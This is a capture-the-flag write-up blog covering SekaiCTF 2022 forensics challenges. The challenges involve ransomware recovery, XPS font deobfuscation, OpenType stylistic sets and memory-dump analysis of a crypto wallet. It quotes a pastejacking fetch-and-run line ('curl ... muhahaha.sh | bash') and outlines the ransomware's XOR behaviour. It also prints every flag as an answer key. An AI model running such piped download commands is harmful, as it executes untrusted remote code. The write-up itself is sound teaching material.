Intro
SekaiCTF 2022 — my first capture-the-flag which I’ve had the honor of organizing alongside fellow members of Project Sekai CTF. One of the aspects of its administration was the challenge verification process; as part of it, I’ve ended up authoring a bunch of forensics-based writeups which I’m really proud of. They’re also available on the GitHub repository if you’d like to check out the rest of the challenges — I’ve simply ported them over here for my fancy website formatting. Enjoy!
Blind Infection 1
Investigator: It looks like your files were encrypted — do you have a backup?
Me: Online, yes, but even the backup links got encrypted. Can you help me find anything?
Warning: This payload contains ransomware. Consider using a fresh virtual machine, as you may risk losing your data. Although surface analysis is safe (and the ransomware is user-triggered), proceed with caution.
Reconnaissance
Unzipping the provided .zip
provides us with four Linux directories: etc/
, home/
, root/
, and snap/
. Let’s start off with a little bit of reconnaissance.
A good habit with these types of challenges is to check etc/passwd
, a list of system accounts. If we grep
for those with root permission, we find that the user sekaictf
was a superuser:
Although it isn’t necessarily pertinent to the challenge, make sure you check home/sekaictf/.bash_history
alongside grep -r "SEKAI{
- they can be pretty handy sometimes!
Document Recovery
Next, we’ll look for user files. The Documents/
and Pictures/
folder of the sekaictf
user has them, but everything seems to be encrypted with no indication of the encryption method used.
The description talks about having a backup for the encrypted files in the form of links, meaning we should be looking for browser-related content (i.e. search history). Ubuntu 22 stores Firefox as a SnapCraft
app in snap/
by default — we can also grep for the term 'firefox'
for its location:
Firefox is located in home/sekaictf/snap/firefox/
, while the profile information of the user is located at firefox/common/.mozilla/firefox/p3zapakd.default/
. p3zapakd
is the name of the user.
Firefox stores your visit history in the places.sqlite
SQLite database (read more about how Firefox stores your information here). You can use an online tool or sqlite3
to view it! The table we need is moz_places
, which is a hefty piece of work with more than 750+ URLs:
Yes, it’s super meticulous, but a true forensics investigator would champ it through! Scrolling through the table, we notice that the user follows a certain trend, as following:
- The user searches about a topic on Google
- The user visits that appear in the search results
- The user visits the URL https://paste.c-net.org with a subdirectory consisting of two random words (possibly to bookmark them for later)
Visiting any of these pastes and recognizing that the content should be the same as encrypted files in the Documents/
folder is key to Part 1. This is further facilitated by the fact that names of the encrypted files in Documents/
are very descriptive:
Instinctively, we would want to visit all these pastes.
There are 50 instances of the URL https://paste.c-net.org in the table and visiting them one-by-one isn’t very 1337 h4xx0r. We can execute some simple SQL on the table to extract all instances:
Let’s write a simple curl
script with Python:
Running the script:
Blind Infection 1: SEKAI{R3m3b3r_k1Dz_@lway5_84cKUp}
Blind Infection 2
Investigator: Here are your backups, but what about rest of your files?
Me: Umm…
Investigator: I’m gonna need more details regarding what exactly you were doing.
Warning: This payload contains ransomware. Consider using a fresh virtual machine, as you may risk losing your data. Although surface analysis is safe (and the ransomware is user-triggered), proceed with caution.
We’ve managed to restore the contents of Documents/
, but this user has unfortunately failed to backup Pictures/
. To decrypt them, we need to know the encryption method used. As of now, we only have the plaintext and ciphertext from Part 1, which currently don’t prove that useful. We need more details.
The SQL Rabbit Hole
Continuing to scroll through browser history, near the end of the table we come across instances of the user searching about ‘virus’ and ‘virus remover’. This probably happened after the user’s files got encrypted. Looking at the URL visits just before this, we see that the user was downloading various rhythm game-related items, including osu! beatmaps and an .apk
of Project Sekai. This rabbit hole eventually led to a string of suspicious websites — including https://sekaictf-tunes.netlify.app:
Check out this snippet above: instead of copying wget sekairhythms.com/epicmusic.zip
, we end up actually copying curl https://storage.googleapis.com/sekaictf/Forensics/muhahaha.sh | bash
, which is a malicious bash script.
This is the premise of the challenge. Never copy and paste code/commands from internet blindly! That’s where the challenge name comes from — “Blind Infection”!
This is a classic pastejacking attack. Let’s not copy it into the terminal and instead analyze the .sh
file that’s curl
’ed. Visit the original link to see the raw code:
Looks like it’s obfuscated by defining a crap ton of environmental variables and evaluating the concatenated contents. To deobfuscate, simply change the eval
term to echo
to see what actually runs:
Let’s do a quick analysis. This script:
- Downloads a binary quietly
- For each file in the
Documents/
andPictures/
folder, it:- Generates a 16-byte key
- Performs a XOR operation with the key
- Removes the key (meaning the key is different every time)
- Deletes the binary and clears the contents of
~/.bash_history
We now know a simple XOR was used to encrypt Pictures/
. However, we don’t know the keys, and it would take until the heat death of the universe to brute force 16 bytes. Additionally, we can’t extract utilize known-plaintext attacks on Part 1 since each key is unique. We’ll need a different solution.
We know that:
- The files in
Pictures/
are in the.png
format - XOR is reversible if we have a key
- We do not have a key readily available
But, there is a weakness! If we research a bit into the .png
format, we learn that the first 16 bytes of a .png
are always same:
With this, we can XOR the first 16 bytes of each encrypted .png
with this as the key to obtain the original, unique key. We can now decrypt each picture with this Python script:
Use the strings
command on flag.png
to flag the challenge.
Blind Infection 2: SEKAI{D4R3_4CC3PT38_4N8_4U5T38}
Broken Converter
Miku has finally finished her assignment and is ready to submit - but for some reason, the school requires all assignments to be submitted as .xps
files. Miku found a converter online and used the converted file for submission. The file looked good at first, but it seems as if there’s something broken in the converter. Can you help her figure out what’s wrong?
Note: This challenge shares the same file as flag Mono.
Reading the Wikipedia page for Open XML Paper Specification/.xps
files, we can see that Assignment-broken.xps
is actually a .zip
archive:
An XPS file is a ZIP archive using the Open Packaging Conventions, containing the files which make up the document. These include an XML markup file for each page, text, embedded fonts, raster images, 2D vector graphics, as well as the digital rights management information. The contents of an XPS file can be examined by opening it in an application which supports ZIP files.
Renaming the file extension to .zip
will provide us with some files:
In Resources/
we can find 02F30FAD-6532-20AE-4344-5621D614A033.odttf
, which is an “Obfuscated OpenType” file:
The ODTTF Wikipedia page states that .odttf
files are obfuscated by performing a XOR operation on the first 32 bytes of the font file, using its GUID (or the filename) as the key:
According to the source code of Okular (see function
parseGUID()
and methodXpsFile::loadFontByName()
), the first 32 bytes of the font file are obfuscated by XOR using the font file name (a GUID). The rest of the file is normal OpenType.
This is also mentioned in section 9.1.7.3 of the XPS Standard:
Perform an XOR operation on the first 32 bytes of the binary data of the obfuscated font part with the array consisting of the bytes referred to by the placeholders B37, B36, B35, B34, B33, B32, B31, B30, B20, B21, B10, B11, B00, B01, B02, and B03, in that order and repeating the array once. The result is a non-obfuscated font.
Although you can totally create a XOR script and perform it manually, you can also find scripts online. odttf2ttf provides an online demo here, which is a simple drag-and-drop with instant conversion:
Now that it’s deobfuscated, we can open the file in Windows Font Viewer. The phrase GlYPHZ,W3|!.d0n&}
is visible at the top, but the rest of the flag isn’t properly ordered:
However, opening the .ttf
file in programs that sort by ASCII, such as FontForge or FontDrop!, will yield a flag:
Broken Converter: SEKAI{sCR4MBLeD_a5ci1-FONT+GlYPHZ,W3|!.d0n&}
flag Mono
When writing the assignment, Miku used a font called flag Mono. Despite it looking just like a regular monospaced font, it claims itself to be stylistic in various ways.
”Perhaps there is something special about it”, Miku thought.
Note: This challenge shares the same file as Broken Converter.
If you inspect the font info in FontForge with Ctrl + Shift + F, you can see in the Lookup tab that four different “Style Sets” have been implemented into this font:
These are called “OpenType Stylistic Sets.” According to its official Microsoft documentation:
In addition to, or instead of, stylistic alternatives of individual glyphs […], some fonts may contain sets of stylistic variant glyphs corresponding to portions of the character set, e.g. multiple variants for lowercase letters in a Latin font.
In FontForge you can actually view the ruleset for these styles with the Edit Data
button. This is the ruleset for ss01
:
ampersand quotesingle | a @<Single Substitution lookup 4> | g
| f @<Single Substitution lookup 4> | l a g
ampersand quotesingle parenleft | g @<Multiple Substitution lookup 5> |
ampersand | l @<Single Substitution lookup 4> | a g
Let’s test out typing flag
on FontDrop! and changing the stylistic set:
flag Mono: SEKAI{OpenTypeMagicGSUBIsTuringComplete}
Symbolic Needs 1
We recently got hold of a cryptocurrency scammer and confiscated his laptop.
Analyze the memdump. Submit the string you find wrapped with SEKAI{}
.
Inflating the .zip
, we are given a .mem
memory dump of a machine of an unknown operating system. We will be using the Volatility 3 framework to analyze it.
Firstly, clone the repository on GitHub:
Since we’ll need to find a debugging package for this memory dump later, we need to run the banner
command to identify the exact operating system, version and kernel:
This identifies the following:
- OS: Ubuntu 22.04
- Kernel: Linux version 5.15.0-43-generic
Note: Since these are very recent versions, there were no readily available Volatility profiles. Honestly, I couldn’t make Volatility 2 work with Ubuntu 22 even after successful profile creation (KeyError: 'DW_AT_data_member_location'
). Let me know if you were able to, since everyone’s learning! :)
Profile Creation + Symbol Table
In order to run Volatility plugins we need to build a symbol table in the .json
format. They can be generated from DWARF files using the dwarf2json tool. The hardest part is probably finding the kernel with debugging symbols for Linux version 5.15.0-43-generic
. A complete list is available here, but linux-image-unsigned-5.15.0-43-generic-dbgsym_5.15.0-43.46_amd64.ddeb
is the version we need. After inflating the archive, the relevant file we need is the vmlinux-5.15.0-43-generic
DWARF located in usr/lib/debug/boot
.
Next, we’ll clone the dwarf2json tool from the Volatility repository and build it:
Finally, we can run:
Copy the symbol table to volatility3/volatility3/symbols/linux
, and your profile should be set up!
Once we have a valid symbols.json
, we can run Volatility 3 plugins. The first one we always run is linux.bash
, to display bash history:
Those are easily identifiable as ASCII codes. Convert 72 48 117 53 84 48 110 95 119 51 95 52 114 51 95 49 110 33 33 33
to text and get the flag:
Symbolic Needs 1: SEKAI{H0u5T0n_w3_4r3_1n!!!}
Symbolic Needs 2
Recover the private key of the wallet address 0xACa5872e497F0Cc626d1E9bA28bAEC149315266e
.
Submit the key wrapped with SEKAI{}
.
Let’s follow up from the last proglem with the linux.psaux
plugin, to gather and display all processes:
It looks like the scammer was serving some base32 through Netcat. We also notice that it’s piped into a .pyc
file, which is Python bytecode.
Run the command echo [PUT YOUR BASE32 HERE] | base32 -d > file.pyc
to convert this base32 into a binary. Let’s run the .pyc
with Python3:
Passing a random argument results in a FileNotFoundError
:
We can find this wordlist in the bitcoin/bips repository. If you run the binary again with the same argument it just outputs “Wrong.” We’ll need to disassemble this.
Disassemble the bytecode with the dis
module:
Let’s analyze this:
- The program loads the
bip39
wordlist. It’s a standard wordlist used to secure crypto wallets with a mnemonic. - It then stores a hardcoded integer in the variable
code
, converts to binary andzfill
s it so that length is multiple of 12. - Next, it converts each 12 bits to decimal, and subtracts one. This number is used as an index, and appends the corresponding word from
bip39
in an array calledmnemonic
. - No matter what, the code will always print “Wrong”! :D
Let’s write a simple script to find the mnemonics with this information:
Running the script:
Looks like we’ve got our mnemonic!
Now we can visit MyEtherWallet and enter the 24-word mnemonic phrase. Look for the 0xACa5872e497F0Cc626d1E9bA28bAEC149315266e
wallet and gain access to the dashboard:
To access the private key, go to My personal account
-> View paper wallet
:
Symbolic Needs 2: SEKAI{0x81c458e9fae445de18385a3379513acc8e191e4c2667c85aa0a52a32ec4e6d55}